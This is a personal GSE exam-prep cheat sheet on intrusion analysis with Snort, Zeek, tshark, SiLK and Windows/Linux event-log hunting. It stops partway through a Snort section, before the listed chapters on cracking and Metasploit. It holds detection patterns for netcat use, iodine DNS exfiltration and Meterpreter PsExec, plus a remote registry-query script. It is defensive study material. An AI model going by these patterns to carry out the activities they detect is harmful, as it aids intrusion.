GSE Prep

Ian the BitThirsty Hunter

Good Hunting
-Starbuck

Last update: 28 November 2019

Contents

Intrusion Analysis Tools 3
IA: Combined Examples 12
IA: Snort Essentials 15
IA: Bro/Zeke Essentials 17
IA: TCPDump Essentials 19
IA: tshark Essentials 23
IA: WireShark Essentials 25
IA & ID Vulns: Scapy 29
Password Cracking:john 33
Password Cracking:cain 35
Enumeration 37
Enumeration: Nmap / MetaSploit Integration 40
Sniffing (While you scan) 41
Identifying Vulnerabilities 42
ID Vulns: SpiderLabs Responder 43
ID Vulns: rpcclient 44
ID Vulns: Metasploit 45
General Utilities 48
Gen Utils: Netcat/Ncat 51
Gen Utils: iptables 54
Gen Utils: ssh 59
Appendix: Linux Essentials 61
Appendix: Windows Essentials 66
Appendix: Incident Response checkCriticalWindowsEventLogs 68
Appendix: Audit Policy 69
Appendix: Forensics Deep Dive 73

Intrusion Analysis Tools

Tools listed under Intrusion Analysis:

Snort, Wireshark, tshark, tcpdump, Scapy, Zeek/Bro

Sniff While Scanning (Can be helpful)

```
tcpdump –nn host <ip>                          :sniff a particular ip
nmap –n –sT <ip>                               :shows 3 way handshake in tcpdump
```

Investigating

Squert is web accessible (https://55.64.10.202/squert/) but not as powerful as Sguil. Snorby is also web accessible. Sguil is not web accessible so you have to rdp but is way more powerful.

Investigating
Additionally in Wireshark you can go to File / Export Objects/ HTTP, highlight the entry with the correct content typeand Save As. From there you can submit to your Malware Analysis Server.

Sguil Alert Techniques
Make sure "Show Packet Data and "Show Rule" are checked
Right Click AlertID field, Network Miner – shows attacker details
Right Click AlertID field, Transcript (Same as Follow TCP Stream in Wireshark)
Right Click AlertID field, Wireshark, Right Click a packet, Follow TCP Stream

Analyze with Snort & OpenAppID (Service Detection beyond just looking at the port)

```
sudo snort –c /etc/snort/snort.conf –pcap-dir=/pcap-links –k none
ls –lart /var/log/snort                  :look for most recent appstats-unified.log
sudo u2openappid /var/log/snort/appstats-unified.log.XXXXXX | cut –f2 –d"," | sort | egrep
–vi '"http"|"https"|"dns"|"internet explorer"' | uniq –c | sort –nr | head –n 25
```

Run Bro Analysis Against Pcap

```
bro –r /pcaps/capture.pcap /opt/bro/share/bro/file-extraction/extract.bro
```

Investigating: Files

MZ (EXE) Compilers Searchable Strings (unless attacker knows to take out)
"This program cannot be run in DOS mode" (most common)
"This program must be run under Win32"
"This program must be run under Win64"
-sometimes malware changes exe headers, i.e. "*That* program must be run…"

Pcap Strings Search

```
ngrep –q –I /pcaps/sample.pcap "SEARCHPHRASE"  :-q only headers & payload
ngrep –q –I /pcaps/sample.pcap "HTTP/1.0"      :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET          :alternate search
tshark –nr /sample.pcap –Y "http.request.method==GET" :alternate search
```

Carving (Bro), AV Scanning, & Cross Referencing Logs

```
bro –r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro
ls –la /nsm/bro/extracted                      :default types - .exe .txt .jpg .png .html
clamscan /nsm/bro/extracted/*.exe              :scan all exe's with clamAV
grep 'detectedMalware' *.log                   :show traces of malware in other bro logs
sha1sum /tmp/carved.exe                        :get hash of malware
*insert hashes in hashQuery-TG & hashQuery-VT scripts
```

Carving (Wireshark, Manual)

```
Wireshark, right click, Follow TCP Stream
Edit / Export / Objects                        :HTTP/DICOM/SMB only
Save As / raw format
file /tmp/carved.raw                           :File Header Numbers Link
bless /tmp/carved.raw                          :alternative to file
Highlight bytes before "MZ" (exe example), Edit/Delete
File / save – save as .exe
sha1sum /tmp/carved.exe                        :get hash of malware
```

*insert hashes in hashQuery-TG & hashQuery-VT scripts

Detecting Pivoting Internally (Client to Client Snort Rule)
```
alert tcp $CLIENT_NET any -> $CLIENT_NET any (msg:"ET POLICY PE EXE or DLL Windows file download"; flow: established,to_client;content:"MZ"; byte_jump:4,58,relative,little; content:"PE|0000|"; distance:-64; within:4; classtype:policy-violation; sid:5110419; rev:18;)
```

Investigating: Connections

Bro: DNS Anomolous Traffic
```
cat dns.log |bro-cut query | sort –u | sed "s/^[a-zA-Z0-9-]*\.//g"| sort | uniq –c |
  sort –n                                          :unique DNS queries from Bro
```

Bro: DNS NULL Traffic (Indicative of Iodine Exfil)
```
cat dns.log | bro-cut query qtype_name | grep NULL
```

Bro: Abnormal User Agent Query (Almost certainly bad)
```
*exlude Mozilla, Opera, Microsoft-CryptAPI
cat http.log | bro-cut user_agent | egrep –v "Mozilla|Opera|Microsoft-CryptoAPI" | sort
  | uniq –c | sort –n
```

Strings: Detecting shortest User Agents (Similar to Bro User Agent Query)
```
1:strings /pcaps/sample.pcap | grep –i User-Agent | sort –u        :-i=case-insensitive
2:strings /pcaps/sample.pcap | grep User-Agent| sort –u| awk '{pring length, $0;}' |
  sort –nr
Analyze in Wireshark: Edit / Find Packet, choose "String" & "Packet Bytes". Enter User
  Agent in the search box, click Find. Analyze / Follow TCP Stream
```

X.509 Anomolous Certificates (Search for short entries)
```
*First connect to Alexa top 500 Internet sites via SSL
mkdir /tmp/bro
cd /tmp/bro
bro –C –r /pcaps/normal/https/alexa-top-500.pcap     :process pcap in bro
cat ssl.log | bro-cut issuer| sort –u > /tmp/alexa.txt :save off Top 500
bro –C –r /pcaps/sample.pcap                          :next process target pcap
cat ssl.log | bro-cut issuer | sort –u > /tmp/sample.txt :save off Target issuers
cat /tmp/alexa.txt|awk '{print length, $0;}' | sort –nr
cat /tmp/sample.txt|awk '{print length, $0;}' | sort -nr

Alternate way to view:
tshark –r /pcaps/sample.pcap –T fields –R "ssl.handshake.certificate" –e
  x509sat.printableString
```

Bro: Transaction Data
```
bro –r /pcaps/sample.pcap
cat http.log | bro-cut user_agent host | sort –u | grep kuku       :two key fields
```

Bro-Cut Connections Example
```
cat conn.log || bro-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service conn_state
| grep 445 _ egrep '^10\.5\.11\.52' | grep RST | cut –f 3 | sort | uniq
                                                 :search SMB traffic from specific ip
```

Pcap Flow (Tshark)
```
tshark –n –r /pcaps/sample.pcap –q –z conv, tcp :-z get stats
```

Wireshark Statistical Data
```
*Often used for anomaly based detection
Statistics / Protocol Hierarchy
```

Elsa
```
Top Services                                     :"–" packets not just defined by port
Top Responder Port                               :look for anomalous
Top nxdomain                                     :non-existent domain
Files / MIME Types                               :look for executables
HTTP / Top Sites Hosting Exes
HTTP / Top User Agents                           :look for short User Agents/Uncommon
```

DNS Analysis Script Based on pcap
```
python dnsWatch.py sample.pcap
```

python trackByGeo.py sample.pcap :uses MaxMind GeoIP for country stats

Passive Asset Inventory: PRADS

Look in Logs for Servers (Translate TCP/UDP)

```
grep SERVER /var/log/prads-asset.log | sort –u | cut –d, -f1,3,4,6 | sed
“s/,17,/,udp,/g” | sed “s/,6,/tcp,g” > /tmp/asset.csv
gnumeric /tmp/asset                          :excel viewer equivalent
```

IDS Events and Rules

```
sudo sostat-quick :easiest way to pull
mysql -uroot -Dsecurityonion_db :enter mysql shell to pull queries
SELECT COUNT(*) AS cnt, signature, signature_id FROM event WHERE status=0 GROUP BY signature
ORDER BY cnt DESC LIMIT 20; :show top 20 intrusion events
SELECT COUNT(*) AS ip_cnt, INET_NTOA(src_ip) FROM event WHERE status=0 AND signature_id=2101411
GROUP BY src_ip ORDER BY ip_cnt DESC;
:find the top ips for a specific event
SELECT COUNT(*) as ip_cnt, INET_NTOA(src_ip), INET_NTOA(dst_ip) FROM event WHERE status=0 and
signature_id=2101411 GROUP BY dst_ip ORDER BY ip_cnt DESC;
:same as previous but adds dest IPs
```

Windows Event Analysis (SEC504)

Unusual Log Entries

Check your logs for suspicious events, such as: “Event log service was stopped.”
“Windows File Protection is not active on this system.”
"The protected System file [file name] was not restored to its original, valid version because the Windows File Protection..."
“The MS Telnet Service has started successfully.”
Look for large number of failed logon attempts or locked out accounts.

To do this using the GUI, run the Windows event viewer:
C:\> eventvwr.msc

Using the command prompt:
C:\> eventquery.vbs | more

Or, to focus on a particular event log:
C:\> eventquery.vbs /L security

Other Unusual Items

Look for unusually sluggish performance and a single unusual process hogging the CPU:
Task Manager Process and Performance tabs
Look for unusual system crashes, beyond the normal level for the given system.

Unusual Processes and Services

Look for unusual/unexpected processes, and focus on processes with User Name “SYSTEM” or “Administrator” (or users in the Administrators' group). You need to be familiar with normal processes and services and search for deviations.
Using the GUI, run Task Manager:
C:\> taskmgr.exe
Using the command prompt:
C:\> tasklist
C:\> wmic process list full
Also look for unusual services.
Using the GUI:
C:\> **services.msc**
Using the command prompt:
C:\> net start
C:\> **sc query**
For a list of services associated with each process:
C:\> **tasklist /svc**

Unusual Files and Registry Keys

Check file space usage to look for sudden major decreases in free space, using the GUI (right-click on partition), or type:
C:\> dir c:\
Look for unusually big files: Start Search For Files of Folders… Search Options Size At Least 10000KB
Look for strange programs referred to in registry keys associated with system start

up: **HKLM\Software\Microsoft\Windows\CurrentVersion\Run**
HKLM\Software\Microsoft\Windows\CurrentVersion\Runonce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunonceEx
Note that you should also check the HKCU counterparts (replace HKLM with HKCU above).
Using the GUI:
C:\> regedit
Using the command prompt:
C:\> reg query <reg key>

Unusual Network Usage
Look at file shares, and make sure each has a defined business purpose:
C:\> net view \\127.0.0.1
Look at who has an open session with the machine:
C:\> net session
Look at which sessions this machine has opened with other systems:
C:\> net use
Look at NetBIOS over TCP/IP activity:
C:\> nbtstat –S
Look for unusual listening TCP and UDP ports:
C:\> netstat –na
For continuously updated and scrolling output of this command every 5 seconds:
C:\> netstat –na 5
The –o flag shows the owning process id:
C:\> netstat –nao 5
The –b flag shows the executable name and the DLLs loaded for the network connection.
C:\> netstat –naob 5
Note that the –b flag uses excessive CPU resources.
Again, you need to understand normal port usage for the system and look for deviations.
Also check Windows Firewall configuration:
C:\> netsh firewall show config

Unusual Scheduled Tasks
Look for unusual scheduled tasks, especially those that run as a user in the Administrators group, as SYSTEM, or with a blank user name.
Using the GUI, run Task Scheduler:
Start Programs Accessories System Tools Scheduled Tasks
Using the command prompt:
C:\> **schtasks**
Check other autostart items as well for unexpected entries, remembering to check user autostart directories and registry keys.
Using the GUI, run msconfig and look at the Startup tab:
Start Run, msconfig.exe
Using the command prompt:
C:\> **wmic startup list full**

Unusual Accounts
Look for new, unexpected accounts in the Administrators group:
C:\> **lusrmgr.msc**
Click on Groups, Double Click on Administrators, then check members of this group.
This can also be done at the command prompt:
C:\> **net user**
C:\> **net localgroup administrators**

Linux Event Analysis (SEC504)

Unusual Accounts
Look in /etc/passwd for new accounts in sorted list by UID:
sort –nk3 –t: /etc/passwd | less
Normal accounts will be there, but look for new, unexpected accounts, especially with UID < 500.
Also, look for unexpected UID 0 accounts:
egrep ':0+:' /etc/passwd
On systems that use multiple authentication methods:
getent passwd | egrep ':0+:'
Look for orphaned files, which could be a sign of an attacker's temporary account that has been deleted.
find / -nouser –print

Unusual Log Entries

Look through your system log files for suspicious events, including:
"entered promiscuous mode" L
arge number of authentication or login failures from either local or remote access tools (e.g., telnetd, sshd, etc.)
Remote Procedure Call (rpc) programs with a log entry that includes a large number (> 20) strange characters (such as ^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM)
For systems running web servers: Larger than normal number of Apache logs saying "error" Reboots and/or application restarts

Other Unusual Items
Sluggish system performance:
$ uptime – Look at "load average"
Excessive memory use: $ free
Sudden decreases in available disk space:
$ df
On Debian Linux run debsums to verify packages
debsums

Unusual Processes and Services
Look at all running processes:
ps –aux
Get familiar with "normal" processes for the machine.
Look for unusual processes. Focus on processes with root (UID 0) privileges.
If you spot a process that is unfamiliar, investigate in more detail using:
lsof –p [pid]
This command shows all files and ports used by the running process.
If your machine has it installed, run chkconfig to see which services are enabled at various
Look for services initiated through rc.d or xinetd
service –status-all

Unusual Files
Look for unusual SUID root files:
find / -uid 0 –perm -4000 –print
This requires knowledge of normal SUID files.
Look for unusual large files (greater than 10 MegaBytes):
find / -size +10000k –print
This requires knowledge of normal large files.
Look for files named with dots and spaces ("...", ".. ", ". ", and " ") used to camouflage files:
find / -name "..." –print
find / -name ".. " –print
find / -name ". " –print
find / -name " " –print
Look for processes running out of or accessing files that have been unlinked (i.e., link count is zero). An attacker may be hiding data in or running a backdoor from such files:
lsof +L1
On a Linux machine with RPM installed (RedHat, Mandrake, etc.), run the RPM tool to verify packages:
rpm –Va | sort
This checks size, MD5 sum, permissions, type, owner, and group of each file with information from RPM database to look for changes. Output includes:
S – File size differs
M – Mode differs (permissions)
5 – MD5 sum differs
D – Device number mismatch
L – readLink path mismatch
U – user ownership differs
G – group ownership differs
T – modification time differs
Pay special attention to changes associated with items in /sbin, /bin, /usr/sbin, and /usr/bin.
In some versions of Linux, this analysis is automated by the built-in check-packages script.

Unusual Network Usage
Look for promiscuous mode, which might indicate a sniffer:
ip link | grep PROMISC

Note that the ifconfig doesn't work reliably for detecting promiscuous mode on Linux kernel 2.4, so please use "ip link" for detecting it.
Look for unusual port listeners:
netstat –nap
Get more details about running processes listening on ports:
lsof –i
These commands require knowledge of which TCP and UDP ports are normally listening on your system. Look for deviations from the norm.
Look for unusual ARP entries, mapping IP address to MAC addresses that aren't correct for the LAN:
arp –a
This analysis requires detailed knowledge of which addresses are supposed to be on the LAN. On a small and/or specialized LAN (such as a DMZ), look for unexpected IP addresses.

Unusual Scheduled Tasks
Look for cron jobs scheduled by root and any other UID 0 accounts:
crontab –u root –l
Look for unusual system-wide cron jobs:
cat /etc/crontab
ls /etc/cron.*

DNS Event Analysis (SEC511)

Inspecting DNS cache is good short term investigative tool. Look for long randomized host names, short host names, txt requests and responses containing large amount of data, same hostnames that aren't in Alexa top 500 being pinged regularly (becon behavior), non-existent domains.
Article on Network Forensics with Windows DNS Analytical Logging

DNS IOCs
-requests to thousands or hosts or subdomains in one domain
-large DNS queries with high entropies
-large txt record responses
-high volumes of DNS resolution failures

DNS Analysis Scripts
Long-DNS Query :processes bind query logs, reports names > 60 bytes
Failed-DNS-Query :process bind response logs, tracks failed DNS responses – NX domains

Dump DNS Cache with bind command
Rndc dumpdb

Powershell Command to dump cache
Show-DnsServerCache

Enable DNS Query Logging on Windows 2008/2012
DNS Manager / Action / Properties / Debug Logging

Signs of Meterpreter PsExec

7045 is an indicator of psexec, a great way to find lateral movement in a windows network – the real psexec will have a service name of PSEXESVC, meterpreter will have a high entropy name, and also SysInternals PsExec generates no errors but MetaSploit's generates Event ID 7030 after.

Windows Event Analysis (SEC511)

SEC511 Analysis

Search Alertnate Data Streams for Outside exes
dir /R /s | find "Zone.Identifier"

Long Tail Analysis of Events (Look for logs with only 1 or 2 events)
Get-WinEvent -Path \labs\savedFile.evtx| Group-Object id -NoElement| sort count

Suppress Errors
$ErrorActionPreference='silentlycontinue'
Add –wrap to view full details
May have to run Set-ExecutionPolicy RemoteSigned; after set back to Restricted

```
Doing Remotely (remote systems must have Management Framework Core installed)
Enable-PSRemoting –Force
For Workgroup environments:
Set-Item wsman:\localhost\client\trustedhosts <scanning computer name>
Restart-Service WinRM

Search User Creation Logs (Remember especially look for local accounts created):
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=4720}| fl | more
Search for the command net user (used to add users)
Get-WinEvent @{Path="\labs\savedFile.evtx";id=4688 | Where-Object –Property message -
like “*net user*”}

Search User Group Add (Escalation of Privileges)
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=4732}| fl | more
Search for the command net localgroups (used for escalation of priveleges)
Get-WinEvent @{Path="\labs\savedFile.evtx";id=4688 | Where-Object –Property message -
like “*net localgroups*”}

Search For Logs Being Cleared
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=1102}| fl

Search For Signs of PSExec (remember 7045 followed by 7030)
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=7030,7045}| fl

Search For Signs of USB Insertion
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx";
ID=7045,10000,10001,10100,20001,20002,20003,24576,24577,24579}
OR
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"}| Where {$_.Message -like
"*USB*"}

NEXT Search For Logs Correlating to that time stamp
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"}| findstr ":20:07"

Search AppLocker For Blocks (3/6 – would have been blocked; 4/7-blocked)
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=8003,8006,8004,8007}

Search EMET Blocked malware
Get-WinEvent @{LogName=”application”;ProviderName=”EMET”; id=2}

Search For FireWall Being Disabled
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=2003}| fl

Search For Logs Being Cleared
Get-WinEvent -FilterHashtable @{Path="\labs\savedFile.evtx"; ID=1102}| fl

GET EVERYTHING ABOVE ALL AT ONCE (throw code below in check-critical events.ps1):
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4720,4722,4724,4738,4732,1102}
Get-WinEvent -FilterHashtable @{LogName="System";
ID=7030,7045,1056,7045,10000,100001,10100,20001,20002,20003,24576,24577,24579}
Get-WinEvent -FilterHashTable @{LogName="Microsoft-Windows-Windows Firewall With
Advanced Security/Firewall"; ID=2003}
```

Windows Event Log Cheat Sheet

```
View all events in the live system Event Log:
PS C:\> Get-WinEvent -LogName system

View all events in the live security Event Log (requires administrator PowerShell):
PS C:\> Get-WinEvent -LogName security

View all events in the file example.evtx, format list (fl) output:
PS C:\> Get-WinEvent -Path example.evtx | fl

View all events in example.evtx, format GridView output:
PS C:\> Get-WinEvent -Path example.evtx | Out-GridView

Perform long tail analysis of example.evtx:
PS C:\> Get-WinEvent -Path example.evtx | Group-Object id -NoElement | sort count
```

```
Pull events 7030 and 7045 from system.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"; ID=7030,7045}

Same as above, but use the live system event log:
PS C:\> Get-WinEvent -FilterHashtable @{logname="system"; id=7030,7045}

Search for events containing the string "USB" in the file system.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"} | Where {$_.Message -like
"*USB*"}

'grep'-style search for lines of events containing the case insensitive string "USB"
in the file system.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="system.evtx"} | fl | findstr /i USB

Pull all errors (level=2) from application.evtx:
PS C:\> Get-WinEvent -FilterHashtable @{Path="application.evtx"; level=2}

Pull all errors (level=2) from application.evtx and count the number of lines ('wc'-
style):
PS C:\> Get-WinEvent -FilterHashtable @{Path="application.evtx"; level=2} | Measure-
Object -Line
```

AppLocker

```
Pull all AppLocker logs from the live AppLocker event log (requires Applocker):
PS C:\> Get-WinEvent -logname "Microsoft-Windows-AppLocker/EXE and DLL"

Search for live AppLocker EXE/MSI block events: "(EXE) was prevented from running":
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Applocker/EXE and
DLL"; id=8004}

Search for live AppLocker EXE/MSI audit events: "(EXE) was allowed to run but would
have been prevented from running if the AppLocker policy were enforced":
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Applocker/EXE and
DLL"; id=8003}
```

EMET

```
Pull all EMET logs from the live Application Event log (requires EMET):
PS C:\> Get-WinEvent -FilterHashtable @{logname="application"; providername="EMET"}

Pull all EMET logs from a saved Application Event log (requires EMET):
PS C:\> Get-WinEvent -FilterHashtable @{path="application.evtx"; providername="EMET"}
```

Sysmon

```
Pull all Sysmon logs from the live Sysmon Event log (requires Sysmon and an admin
PowerShell):
PS C:\> Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational"

Pull Sysmon event ID 1 from the live Sysmon Event log
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-
Sysmon/Operational"; id=1}
```

Windows Defender

```
Pull all live Windows Defender event logs
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Windows
Defender/Operational"}

Pull Windows Defender event logs 1116 and 1117 from the live event log
PS C:\> Get-WinEvent -FilterHashtable @{logname="Microsoft-Windows-Windows
Defender/Operational";id=1116,1117}

Pull Windows Defender event logs 1116 (malware detected) and 1117 (malware blocked)
from a saved evtx file
PS C:\> Get-WinEvent -FilterHashtable @{path="WindowsDefender.evtx";id=1116,1117}
```

Registry Analysis (SEC511)

RegistryScript.ps1

```
$user="user"
$password="password"

$array = @("ip,ip,ip")
```

```
foreach ($ip in $array) {
  net use \\$ip $password /u:$user | out-null
  $ip
  reg query \\$ip\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  reg query \\$ip\HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  reg query \\$ip\HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run
  reg query \\$ip\HKLM\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\Run 2>
$null
  reg query \\$ip\HKLM\SOFTWARE\Wow6432node\Microsoft\Windows\CurrentVersion\RunOnce
2> $null
  net use \\$ip del
}
```

Analysis of RegistryScript.ps1

Look for signs of entropy in the service names

Trimmed up script (.ps1)

```
# Ignore these keys
$whitelist="iTunesHelper","SunJavaUpdateSched","Adobe ARM","QuickTime Task"
# Initialize the $count HashTable (associative array)
$count=@{}
# Read file, find lines with ÒREG_SZÓ
$keynames=Get-Content \labs\reg.txt|select-string "REG_SZ"
# Iterate through $keynames one key at a time
foreach ( $key in $keynames ) {
  # Remove Ò REG_SZÓ to the end of the line.
  # Same as this regex: s/ REG_SZ.*//g
  $key=$key -replace " *REG_SZ.*", ""
  # Remove extra spaces
  $key=$key.trim()
  # If it's not whitelisted
  if (-not ($whitelist -contains $key)){
    # Increment count for that key by 1
    $count[$key]++
  }
}
# print each key and its count, sorted from highest to lowest
$count.GetEnumerator() | sort value -Descending
```

IA: Combined Examples

Example 1

Initial Snort Analysis

```
Snort –A console –q –K none –c ../snort/etc/scenario1.conf –r scenario1.pcap
*pay particular attention to priority 1s (most severe), note times sid, and connections

Zeek Analysis
bro –r ../scenario1.pcap
ls *log
*analyze the generated logs. Start w/pe.log (dl'd files)
cat pe.log|broc-cut –d ts id
*take the output and grep across other logs
grep <file-noextension> *.log
*should give you the corresponding ip that downloaded, then use to xref
cat http.log | bro-cut –d ts id.orig_h id.orig_p id.resp_h id.resp_p method host uri| grep <ip>
*see if user agents give any clues:
cat http.log | bro-cut id.orig_h id.resp_h method user_agent | grep <ip>
*look at connections log for any other traffic involving the ip with the download
cat conn.log | bro-cut –d ts id.orig_h id.resp_h id.resp_p proto| grep <ip> | sort | uniq
*look for more clues in the dns logs:
cat dns.log | bro-cut –d ts id.orig_h id.resp_h id.resp_p proto query answers|grep <ip>
*in this case our logs included smtp traffic with the ip that the malicious file came from
cat smtp.log | bro-cut –d ts uid id.orig_h id.orig_p id.resp_h id.resp_p helo mailfrom rcptto
subject

Wireshark Analysis
*Note any interesting strings in several of the connections (like part of the domain in this
case)
tcp contains <string>
udp contains <string>
*don't forget to convert to UTC time, or whatever time the other logs were in
*alternatively search for users associated with traffic from the investigation, etc
tcp contains <user>
*try searching for common first cmds like whoami, hostname, dir, ipconfig,net session,nc,etc
tcp contains <cmd>

SMTP Log Analysis
grep VRFY smtp.log
*in this example

FireWall Log Analysis
cat firewall.log | cut –f 12,13,19,21 –d ' ' | grep <ip from dl> | grep TCP | sort |uniq |more
*we didn't add time because it would be too much so the next 2 cmds will give us start & stop
time:
cat firewall.log | cut –f 1-3,12,13,19,21 –d ' ' | grep <ip> | grep "DPORT=443" | head -1
cat firewall.log | cut –f 1-3,12,13,19,21 –d ' ' | grep <ip> | grep "DPORT=1009" | head -1
*now that we have a timeframe look for icmp activity
cat firewall.log | cut –f 12,13,19-21 –d ' ' | grep <ip from dl> | grep "TYPE=13" | sort |uniq
|head -10
*again timestamp for time reference to know which phase this occurred in
cat firewall.log | cut –f 1-3,12,13,19-21 –d ' ' | grep <ip from dl> | grep "TYPE=13" | head -1
cat firewall.log | cut –f 1-3,12,13,19-21 –d ' ' | grep <ip from dl> | grep "TYPE=13" | grep
'10.10.10.226'
```

Example 2

Initial Stats

```
capinfo scenario2.pcap
*basic stats similar to inside wireshark, but next we want to get some more initial stats
rwfilter sc2.silk --proto=0-255 --print-stat
*in this case we get a quick idea of total packets across all protocols, but next get
breakdown:
rwuniq sc2.silk --fields=proto
*we can run rwuniq without piping traffic to filter, but no filtering can be done (silk keeps
in binary as long as possible for efficiency)
rwfilter sc2.silk --scidr=10.10.10.0/24 --pass=stdout | rwuniq --fields=sIP
```

*here we looked for unique ips in a specified subnet, you could look at byte count by adding:
rwfilter sc2.silk --scidr=10.10.10.0/24 --pass=stdout | rwuniq --fields=sIP -value=bytes
rwfilter sc2.silk --scidr=10.10.10.0/24 --dcidr=10.10.10.0/24 --proto=6 --pass=stdout | rwstats --fields sIP,dIP --count=2 -bytes
*look for internal tcp activity (assuming your network is 10.10.10.0/24)
rwfilter sc2.silk --scidr=10.10.10.44,10.10.10.42 --dport=80,443 --pass=stdout | rwfilter --input-pipe=stdin --scidr=10.10.10.44 --dport=443 --fail=stdout |rwcut -f 1,2,4
*here we look for http/s traffic from 2 ips, but leave out 443 traffic from one of them
rwfilter sc2.silk --scidr=10.10.10.0/24 --dport=53,80,443 --proto=6 --pass=stdout | rwfilter --input-pipe=stdin --saddress=10.10.10.5 --dport=53 --fail=stdout |rwcut -f 1-4 -num-recs=5
*another example where we look for dns/http/s traffic but example dns to our internal dns server, in this example we limit the records to 5

Snort Analysis
snort -A console -q -K none -r scenario2.pcap -c ../snort/etc/scenario2.conf
*next we want to see if this was a false positive and look at the rule context
grep 'sid:<sid=middle number in [1:40011:1]>' /etc/snort/rules/*
*now that we looked at the rule syntax we want to analyze the stream with tshark
tshark -n -r scenario2.pcap -Y '(ip.addr == <ip> and tcp.port == <port from alert>) and (ip.addr == <ext_ip> and tcp.port == <dport from alert>)' -T fields -e tcp.stream | uniq
*now take the stream that was output and view with tshark:
tshark -n -r scenario2.pcap -q -z follow,tcp,ascii,<stream#>

tshark -n -r scenario2.pcap -q -z follow,tcp,ascii,<stream#>
*after seeing the rule seemed somewhat legit and possibly not false pos, look at outside url source traffic

Zeke/Bro Analysis
cd brologs; bro -r ../scenario2.pcap
*generate bro logs for our pcap
head -7 http.log | tail -1
*quick reminder of the fields available
cat http.log | bro-cut -d ts id.orig_h method host uri | grep 106.117.100.121 | grep 10.10.10.5
*look at the http log for the snort alerts in question, then follow through one by one:
tshark -n -r scenario2.pcap -Y 'http.request.full_uri == "http://10.10.10.5/management-team.html"' -T fields -e tcp.stream |uniq
*remember the first command finds the stream then we use it in our next cmd:
tshark -n -r scenario2.pcap -q -z follow,tcp,asci,<stream#>
**this particular example shows them scraping emails from the website, so lets look for a phishing attempt from that ip:
tshark -n -r scenario2.pcap -Y 'ip.addr ==106.117.100.121 and tcp.port == 25' -T fields -e tcp.stream | uniq
*again w/tshark we have to find the stream first and apply to the next pcap
tshark -n -r scenario2.pcap -q -z follow,tcp,asci,<stream#> | more
*in this example we see the phishing email he targeted using the people scraped from the site with an attachment. For kicks we check any possible dns resolution on our ip in question:
cat brologs/dns.log | bro-cut query answers | grep <ip>
*in this ex we didn't see any traffic, next look at traffic summary between internal & ext:
cat brologs/http.log | bro-cut id.orig_h id.resp_h method host uri status_code resp_mime_types | grep <ext_ip> | grep <int_ip>
*sometimes we see other files pulled or other traffic occurring, in this case files
tcpdump -r scenario2.pcap -w brocarve/carving.pcap 'host 10.10.10.44 and host 65.110.100.121 and port 80'
*carved out the files specific to those 2 ip, next carve files with bro
cd brocarve/
ls carving.pcap
bro -r carving.pcap extract.bro
file extract_files/*
*note that bro carves them out in order, file helps you look and see how you should view them:
cat extract…htmldoc
xdg-open extract…jpg
md5sum extract_files/extract-exe
grep <hash or part of> /home/sans/Exercises/md5sums-known-malicious-files.txt
*The last part was a list in our example, but you could sub a script that queries VT

OSSEC Windows Event Logs Analysis
snort -A console -q -K none -r scenario2.pcap -c /home/sans/Exercises/Day5/snort/etc/scenario2.conf
*check timestamps and correlate times against OSSEC logs:
more ossec-alerts.log
*or can alt grep for time ref by files from investigation

IDS Events and Rules (Security Onion)

```
sudo sostat-quick :easiest way to pull
mysql -uroot -Dsecurityonion_db :enter mysql shell to pull queries

Show top 20 intrusion events
SELECT COUNT(*) AS cnt, signature, signature_id FROM event WHERE status=0 GROUP BY signature
ORDER BY cnt DESC LIMIT 20;

Find the top ips for a specific event
SELECT COUNT(*) AS ip_cnt, INET_NTOA(src_ip) FROM event WHERE status=0 AND signature_id=2101411
GROUP BY src_ip ORDER BY ip_cnt DESC;

Same as previous but adds dest IPs
SELECT COUNT(*) as ip_cnt, INET_NTOA(src_ip), INET_NTOA(dst_ip) FROM event WHERE status=0 and
signature_id=2101411 GROUP BY dst_ip ORDER BY ip_cnt DESC;
```

Snort Setup

```
/bin: location for exes/libraries
/rules: location of files that contain IDS rules; any file w/.rules extension
/etc: location of config files, including snort.conf (primary config)
/doc: readme files and Snort manual

snort.conf
include $RULE_PATH/file.rules                    :include a rules file
#include $RULE_PATH/file.rules                   :exclude a rules file
```

Snort quick syntax

```
-C: print payload with chars only – not hex
-i: specify network int; based on # entries found with snort –W
-l: Directory where log/alert files will be stored
-L: Log/alert filename
-v: verbose output
-P: Set snap length of packet to capture (default 1514 bytes)
-c: Use specific rules/config file
-r: read in a capture file
```

Snort rule syntax

```
General syntax:
action proto src_ip src_port -> dst_ip dst_port (msg; payload_detect_pattern; modifier; sid;
rev:1;)
Example
alert ip any any -> any any (msg:"Bomb threat";content:"bomb"; nocase; sid:9999; rev:1;)

Payload Detection ASCII text criteria:        Example:
Content:"<insert text here>";                 content:"bomb"
Payload Detection Hex criteria:               Example:
Content:"|<insert hex digits here>|";         content:"|DE AD BE EF|";
```

Pcap Analysis with Snort

```
snort –r file.pcap                            :run against a single pcap
